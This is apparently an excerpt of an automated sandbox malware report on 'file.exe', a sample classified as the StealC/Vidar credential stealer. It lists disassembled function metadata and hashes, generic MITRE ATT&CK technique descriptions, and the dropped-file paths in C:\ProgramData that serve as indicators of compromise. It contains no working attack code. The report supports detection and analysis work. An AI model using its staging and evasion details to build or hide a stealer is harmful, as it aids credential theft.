Opcode ID: cde41153c54df1a69eaeac3dd15b2ad777fc41f81b8e5acff45e4993ef75b43f
Instruction ID: 77af68837668d2e8d6587716353d7275392ef8b2771d1895faf77ea278f17d1c
Opcode Fuzzy Hash: cde41153c54df1a69eaeac3dd15b2ad777fc41f81b8e5acff45e4993ef75b43f
Instruction Fuzzy Hash: 93018C753052288FDF08AF66DC9461D7BF9EB8A311B050069EA15D7700DB74DC028F95

Function 6C5D6DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C5D6E22
__Init_thread_footer.LIBCMT ref: 6C5D6E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C5D6E1D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 509241b2929d1c68b375779be68068a945879eef4cf52119b05799edeb9c54df
Instruction ID: 89806df9228c47bf588a8d4a79f19f5fbbb37c990e2829ad7de1e3a61fa4e366
Opcode Fuzzy Hash: 509241b2929d1c68b375779be68068a945879eef4cf52119b05799edeb9c54df
Instruction Fuzzy Hash: 3AF02470284341CBDB088B6CEC90A8E37B29353218F060A65C421C6F91CF21B947CE9B

Function 6C589E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C589EEF

Strings

Infinity, xrefs: 6C589EB7
NaN, xrefs: 6C589EC1

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: 9c485988e15c1893a42750742563f2d29556db24acc12765069f6ceec3aebb48
Instruction ID: b24c0204ce9f2eef5fd00e3500f1ffa08e73861c1daebcaff198e61c276089cd
Opcode Fuzzy Hash: 9c485988e15c1893a42750742563f2d29556db24acc12765069f6ceec3aebb48
Instruction Fuzzy Hash: 4AF0A9B1601246CAEB088F58FC89B8437F1B747308F220B18C561CAF80D7766547CEBA

Function 6C586C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K[l,?,6C5B4B30,80000000,?,6C5B4AB7,?,6C5743CF,?,6C5742D2), ref: 6C586C42

Part of subcall function 6C58CA10: malloc.MOZGLUE(?), ref: 6C58CA26

moz_xmalloc.MOZGLUE(0K[l,?,6C5B4B30,80000000,?,6C5B4AB7,?,6C5743CF,?,6C5742D2), ref: 6C586C58

Strings

0K[l, xrefs: 6C586C33, 6C586C41, 6C586C57

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K[l
API String ID: 1967447596-2968251504
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: cfbfb5c202352caf488f26257f1dbd8bd4b55c44954951826fa939d5c8ed6ca3
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: F8E086F1A267154ADB08E978AC4956A71C8DB742A87044A3AE823C6BC8FF58E9908155

Function 6C583850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C5FF860), ref: 6C58385C
ReleaseSRWLockExclusive.KERNEL32(6C5FF860,?), ref: 6C583871

Strings

,_l, xrefs: 6C58387A

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,_l
API String ID: 17069307-2593680263
Opcode ID: 65e3b019b46a89532fa3774aba88acd8f6663b168dbb9c9a96075a4681052654
Instruction ID: f486a928060c73f7bc319c86c37ef80365bd5cab3b2f6b182b77b2610b994cad
Opcode Fuzzy Hash: 65e3b019b46a89532fa3774aba88acd8f6663b168dbb9c9a96075a4681052654
Instruction Fuzzy Hash: DFE0DF32A03A2CD78709AF9AAC0558A7BF8EE437903064205E43A97E00D7709842CEDA

Function 6C58BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C58BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C58BEF5

Strings

cryptbase.dll, xrefs: 6C58BEF0

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: 27efcd75732d4dc3e7e68b11c4242272ba5a2070ecd6a263f7d69ba66a931a66
Instruction ID: 1149b1d5c09c7fa44ab23e41c69d9fb835bd65b2d470ccbd6a373acc7a3c0a57
Opcode Fuzzy Hash: 27efcd75732d4dc3e7e68b11c4242272ba5a2070ecd6a263f7d69ba66a931a66
Instruction Fuzzy Hash: 5FD0C731185108EADB44BA549D05B2537789701715F10C421F76594951C7B19455CF55

Function 6C5CB5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C5CB3D7,?,00000000,?,?,?,?,?,?,?,?,?,?,6C5CAE52), ref: 6C5CB628

Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C90FF
Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5CB3D7,?,00000000,?,?,?,?,?,?,?,?,?,?,6C5CAE52), ref: 6C5CB67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C5CB3D7,?,00000000,?,?,?,?,?,?,?,?,?,?,6C5CAE52), ref: 6C5CB708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5CB74D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 6d2b9b7f45d5392ea8a8b915fa3daaf4ea26e4cfeb41fe141a557dd7d3883a32
Instruction ID: e6f1bd7c06844df42280be93d3e066d9f82806726638c15579839f006927ef9c
Opcode Fuzzy Hash: 6d2b9b7f45d5392ea8a8b915fa3daaf4ea26e4cfeb41fe141a557dd7d3883a32
Instruction Fuzzy Hash: D051CBB1B052168BDB14EF98CD8476EB7F5FF85305F06852DC85AAB700DB31A854CBA2

Function 6C5CDF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C5BFF2A), ref: 6C5CDFFD

Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C90FF
Part of subcall function 6C5C90E0: free.MOZGLUE(?,00000000,?,?,6C5CDEDB), ref: 6C5C9108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5BFF2A), ref: 6C5CE04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C5BFF2A), ref: 6C5CE0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6C5BFF2A), ref: 6C5CE0FE

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 8ad9eb423113771fd4f6c4a065d7af2757defe11a0b58e6d3f83016eeec0e410
Instruction ID: 09581e7031cb2e61a1ed99613db761c1d645ec6b28f1b25d18b4761758d3e9d1
Opcode Fuzzy Hash: 8ad9eb423113771fd4f6c4a065d7af2757defe11a0b58e6d3f83016eeec0e410
Instruction Fuzzy Hash: 2441BEB17042068BEB14CFA8DC8236A73B6AB45308F15493DD516EBB40E7B2E915CBD3

Function 6C5C6E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6C5C6EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6C5C6EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C5C6F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5C6F5C

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 19b27952fdba6c420fe3dee34116f503dfd07678288e9027d737861c3bde5fa2
Instruction ID: a6d00779b287055081fafc269b8f426d51e6cf0f38c4622c3a495e654100495a
Opcode Fuzzy Hash: 19b27952fdba6c420fe3dee34116f503dfd07678288e9027d737861c3bde5fa2
Instruction Fuzzy Hash: 5231E171B1060A8FDB14CF6CDC806BA73E9AB84304F50453ED41AC7655EF31E659CBA2

Function 6C5DB580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6C580A4D), ref: 6C5DB5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6C580A4D), ref: 6C5DB623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6C580A4D), ref: 6C5DB66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6C580A4D), ref: 6C5DB67F

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 89cd5cf28b00fc573fea35cd289858d15cd716ec411a706a4592998a2d246fe9
Instruction ID: ffbe345dfa3f0aa58b0e8c688a46ab9e0b8e3dcf104c6b1c06d06a09fb7e9df6
Opcode Fuzzy Hash: 89cd5cf28b00fc573fea35cd289858d15cd716ec411a706a4592998a2d246fe9
Instruction Fuzzy Hash: A931D071A012168FDB10DF58CC4465ABBB6EF80304F178A69E8169B301EB31F915CBA4

Function 6C5AF5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5AF611
memcpy.VCRUNTIME140(?,?,?), ref: 6C5AF623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6C5AF652
memcpy.VCRUNTIME140(?,?,?), ref: 6C5AF668

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: af8106dd74de9753f4e97c7f5b71e895a248186c4889d802ed31a59727e8482b
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 61313E71A00214AFC714CF5ACCC0A9E7BB6FBC8358B148A39EA498BB15D731FD458B90

Function 6C5C26B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5C26C1
free.MOZGLUE(?), ref: 6C5C26E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5C26FF
free.MOZGLUE ref: 6C5C270D

Memory Dump Source

Source File: 00000000.00000002.2605363467.000000006C571000.00000020.00000001.01000000.00000013.sdmp, Offset: 6C570000, based on PE: true

Associated: 00000000.00000002.2605332731.000000006C570000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605471569.000000006C5ED000.00000002.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605503171.000000006C5FE000.00000004.00000001.01000000.00000013.sdmpDownload File
Associated: 00000000.00000002.2605532682.000000006C602000.00000002.00000001.01000000.00000013.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c570000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: 2029383f64eaa550cc56630efad666e70a7ea62acd5e8268d927f0fe493ef6dd
Instruction ID: e3071921907d412a2a25fe0c05edca77ab11ebe2dbbabf41f5123d25061cf0b8
Opcode Fuzzy Hash: 2029383f64eaa550cc56630efad666e70a7ea62acd5e8268d927f0fe493ef6dd
Instruction Fuzzy Hash: 90F0FEB17012005BE7109A58DCC4D4B73ADEF4125CB510039E91AC3701E731FD69C6A7

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Vidar

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\CFHIIJDB

C:\ProgramData\DGHJEHJJDAAAKEBGCFCAAAAEHC

C:\ProgramData\ECAKECAE

C:\ProgramData\GDAAKFIDGIEGDGDHIDAK

C:\ProgramData\HJKJKKKJJJKJKFHJJJJECBFCGH

C:\ProgramData\IECGHJKKJDHIEBFHCAKE

C:\ProgramData\JDHIEBFHCAKEHIDGHCBA

C:\ProgramData\chrome.dll

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

